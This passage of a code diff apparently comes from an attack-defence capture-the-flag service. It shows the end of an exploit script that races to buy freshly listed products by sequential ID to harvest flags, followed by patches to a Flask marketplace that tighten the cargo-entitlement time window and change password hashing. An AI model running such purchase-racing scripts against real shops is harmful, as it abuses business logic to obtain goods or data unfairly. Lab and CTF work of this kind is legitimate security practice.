state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
state = load_state(state_path) or {"version": STATE_VERSION}
|
||||
if state.get("pending_order") and state.get("pending_cookie"):
|
||||
flags, delivered = collect_order(
|
||||
target,
|
||||
state["pending_order"],
|
||||
state["pending_cookie"],
|
||||
deadline,
|
||||
)
|
||||
if delivered:
|
||||
state.update(pending_order=None, pending_cookie=None)
|
||||
save_state(state_path, state)
|
||||
return sorted(flags), "collected"
|
||||
return [], "pending"
|
||||
|
||||
if not state.get("next_id"):
|
||||
state["next_id"] = sequence_next_id(target, deadline)
|
||||
if not state["next_id"]:
|
||||
return [], "non-sequential"
|
||||
save_state(state_path, state)
|
||||
return [], "indexed"
|
||||
if not state.get("ready"):
|
||||
result = prepare_buyer_step(target, state, deadline)
|
||||
save_state(state_path, state)
|
||||
return [], result
|
||||
|
||||
while deadline - time.monotonic() > 0.25:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{state['next_id']}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 404:
|
||||
break
|
||||
time.sleep(min(PREBUY_INTERVAL, max(0.0, deadline - time.monotonic() - 0.25)))
|
||||
else:
|
||||
return [], "waiting"
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
state["next_id"] = None
|
||||
if status in {401, 403}:
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], f"buy-http-{status}"
|
||||
|
||||
state["pending_order"] = order["id"]
|
||||
state["pending_cookie"] = state["cookie"]
|
||||
state["next_id"] += 1
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], "ordered"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"result={result} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -5,4 +5,4 @@ COPY requirements.txt /app/requirements.txt
|
||||
RUN pip install --no-cache-dir -r /app/requirements.txt
|
||||
COPY *.py /app/
|
||||
WORKDIR /app
|
||||
CMD ["gunicorn", "--preload", "--workers", "2", "--threads", "4", "--bind", "0.0.0.0:5000", "app:app"]
|
||||
CMD ["gunicorn", "--preload", "--workers", "2", "--threads", "2", "--bind", "0.0.0.0:5000", "app:app"]
|
||||
+49
-16
@@ -10,13 +10,18 @@ from functools import lru_cache, wraps
|
||||
|
||||
import psycopg
|
||||
from flask import Flask, jsonify, request, send_file, session
|
||||
from werkzeug.security import check_password_hash, generate_password_hash
|
||||
|
||||
from contracts import CONTRACT_DIR, create_contract
|
||||
from database import connect as db, migrate
|
||||
from database import (
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
|
||||
CARGO_PURCHASE_WINDOW_SECONDS,
|
||||
connect as db,
|
||||
migrate,
|
||||
)
|
||||
from warehouse_client import CALLBACK_TOKEN as WAREHOUSE_CALLBACK_TOKEN
|
||||
from warehouse_client import get_health as get_warehouse_health
|
||||
from warehouse_client import submit_jobs as submit_warehouse_jobs
|
||||
from passwords import hash_password, password_matches
|
||||
|
||||
|
||||
app = Flask(__name__)
|
||||
@@ -29,7 +34,6 @@ app.config.update(
|
||||
)
|
||||
|
||||
CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf")
|
||||
CARGO_PURCHASE_WINDOW_SECONDS = 2
|
||||
|
||||
|
||||
migrate()
|
||||
@@ -171,7 +175,7 @@ def register():
|
||||
return error(str(exc))
|
||||
try:
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("INSERT INTO users(username,password_hash,role,company_name,tax_id) VALUES(%s,%s,%s,%s,%s) RETURNING id", (username, generate_password_hash(password), role, company, tax_id))
|
||||
cur.execute("INSERT INTO users(username,password_hash,role,company_name,tax_id) VALUES(%s,%s,%s,%s,%s) RETURNING id", (username, hash_password(password), role, company, tax_id))
|
||||
user_id = cur.fetchone()["id"]
|
||||
if role == "seller":
|
||||
cur.execute("UPDATE users SET contract_file=%s WHERE id=%s", (create_contract(user_id, company, tax_id, signature), user_id))
|
||||
@@ -193,7 +197,7 @@ def login():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT * FROM users WHERE username=%s", (data.get("username"),))
|
||||
user = cur.fetchone()
|
||||
if not user or not isinstance(data.get("password"), str) or not check_password_hash(user["password_hash"], data["password"]):
|
||||
if not user or not isinstance(data.get("password"), str) or not password_matches(user["password_hash"], data["password"]):
|
||||
return error("invalid credentials", 401)
|
||||
session.clear()
|
||||
session.update(user_id=user["id"], username=user["username"], role=user["role"])
|
||||
@@ -523,9 +527,32 @@ def update_cart_quantity(product_id):
|
||||
return jsonify(ok=True, quantity=quantity)
|
||||
|
||||
|
||||
def create_order(cur, buyer_id, product_id, price, tracking, buyer_created_at, product_created_at):
|
||||
cur.execute(
|
||||
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code,cargo_entitled) "
|
||||
"VALUES(%s,%s,%s,'pending',%s,%s >= %s AND "
|
||||
"%s <= %s + (%s * interval '1 second') AND "
|
||||
"CURRENT_TIMESTAMP <= %s + (%s * interval '1 second')) RETURNING id",
|
||||
(
|
||||
buyer_id,
|
||||
product_id,
|
||||
price,
|
||||
tracking,
|
||||
buyer_created_at,
|
||||
product_created_at,
|
||||
buyer_created_at,
|
||||
product_created_at,
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
|
||||
product_created_at,
|
||||
CARGO_PURCHASE_WINDOW_SECONDS,
|
||||
),
|
||||
)
|
||||
return cur.fetchone()["id"]
|
||||
|
||||
|
||||
def order_product(product_id):
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT p.*,u.balance FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
|
||||
cur.execute("SELECT p.*,u.balance,u.created_at buyer_created_at FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
|
||||
row = cur.fetchone()
|
||||
if not row:
|
||||
return None, error("product not found", 404)
|
||||
@@ -536,8 +563,8 @@ def order_product(product_id):
|
||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (row["price"], row["seller_id"]))
|
||||
tracking = "ORB-" + secrets.token_hex(8).upper()
|
||||
cur.execute("INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id", (session["user_id"], product_id, row["price"], tracking))
|
||||
return {"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking}, None
|
||||
order_id = create_order(cur, session["user_id"], product_id, row["price"], tracking, row["buyer_created_at"], row["created_at"])
|
||||
return {"id": order_id, "status": "pending", "tracking_code": tracking}, None
|
||||
|
||||
|
||||
@app.post("/api/products/<int:product_id>/buy")
|
||||
@@ -554,11 +581,12 @@ def buy_product(product_id):
|
||||
@auth("buyer")
|
||||
def checkout():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
cur.execute("SELECT balance,created_at buyer_created_at FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
buyer = cur.fetchone()
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,
|
||||
p.created_at product_created_at,c.quantity
|
||||
FROM cart_items c JOIN products p ON p.id=c.product_id
|
||||
WHERE c.buyer_id=%s ORDER BY c.created_at
|
||||
""",
|
||||
@@ -578,11 +606,16 @@ def checkout():
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (item["price"] * item["quantity"], item["seller_id"]))
|
||||
for _ in range(item["quantity"]):
|
||||
tracking = "ORB-" + secrets.token_hex(8).upper()
|
||||
cur.execute(
|
||||
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id",
|
||||
(session["user_id"], item["product_id"], item["price"], tracking),
|
||||
order_id = create_order(
|
||||
cur,
|
||||
session["user_id"],
|
||||
item["product_id"],
|
||||
item["price"],
|
||||
tracking,
|
||||
buyer["buyer_created_at"],
|
||||
item["product_created_at"],
|
||||
)
|
||||
orders.append({"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking})
|
||||
orders.append({"id": order_id, "status": "pending", "tracking_code": tracking})
|
||||
cur.execute("DELETE FROM cart_items WHERE buyer_id=%s", (session["user_id"],))
|
||||
submit_warehouse_jobs(orders)
|
||||
return jsonify(orders=orders), 201
|
||||
@@ -596,11 +629,11 @@ def buyer_orders():
|
||||
"SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,"
|
||||
"o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,"
|
||||
"CASE WHEN o.status='delivered' "
|
||||
"AND o.created_at <= p.created_at + (%s * interval '1 second') "
|
||||
"AND o.cargo_entitled "
|
||||
"THEN p.cargo ELSE NULL END cargo "
|
||||
"FROM orders o JOIN products p ON p.id=o.product_id "
|
||||
"WHERE o.buyer_id=%s ORDER BY o.id DESC",
|
||||
(CARGO_PURCHASE_WINDOW_SECONDS, session["user_id"]),
|
||||
(session["user_id"],),
|
||||
)
|
||||
return jsonify(cur.fetchall())
|
||||
|
||||
|
||||
@@ -5,6 +5,9 @@ from psycopg.rows import dict_row
|
||||
|
||||
|
||||
DATABASE_URL = os.environ["DATABASE_URL"]
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS = 3
|
||||
CARGO_PURCHASE_WINDOW_SECONDS = 5
|
||||
LEGACY_CARGO_PURCHASE_WINDOW_SECONDS = 2
|
||||
|
||||
|
||||
def connect():
|
||||
@@ -28,6 +31,15 @@ def migrate():
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_status TEXT NOT NULL DEFAULT 'queued'")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_job_id TEXT")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS cargo_entitled BOOLEAN")
|
||||
cursor.execute(
|
||||
"UPDATE orders o SET cargo_entitled="
|
||||
"(o.created_at <= p.created_at + (%s * interval '1 second')) "
|
||||
"FROM products p WHERE p.id=o.product_id AND o.cargo_entitled IS NULL",
|
||||
(LEGACY_CARGO_PURCHASE_WINDOW_SECONDS,),
|
||||
)
|
||||
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET DEFAULT false")
|
||||
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET NOT NULL")
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS promo_codes (
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
from werkzeug.security import check_password_hash, generate_password_hash
|
||||
|
||||
|
||||
# Werkzeug's default scrypt hash needs about 32 MiB of working memory per
|
||||
# concurrent request. The API serves up to four authentication requests at a
|
||||
# time, so use a CPU-bound hash for new accounts while retaining verification
|
||||
# support for existing scrypt hashes.
|
||||
PASSWORD_HASH_METHOD = "pbkdf2:sha256:600000"
|
||||
|
||||
|
||||
def hash_password(password):
|
||||
return generate_password_hash(password, method=PASSWORD_HASH_METHOD)
|
||||
|
||||
|
||||
def password_matches(password_hash, password):
|
||||
return check_password_hash(password_hash, password)
|
||||
@@ -38,6 +38,7 @@ CREATE TABLE orders (
|
||||
,warehouse_status TEXT NOT NULL DEFAULT 'queued'
|
||||
,warehouse_job_id TEXT
|
||||
,warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
,cargo_entitled BOOLEAN NOT NULL DEFAULT false
|
||||
);
|
||||
CREATE TABLE reviews (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
16
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Whitespace-only changes.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Whitespace-only changes.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Loaded 100 of 1329 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user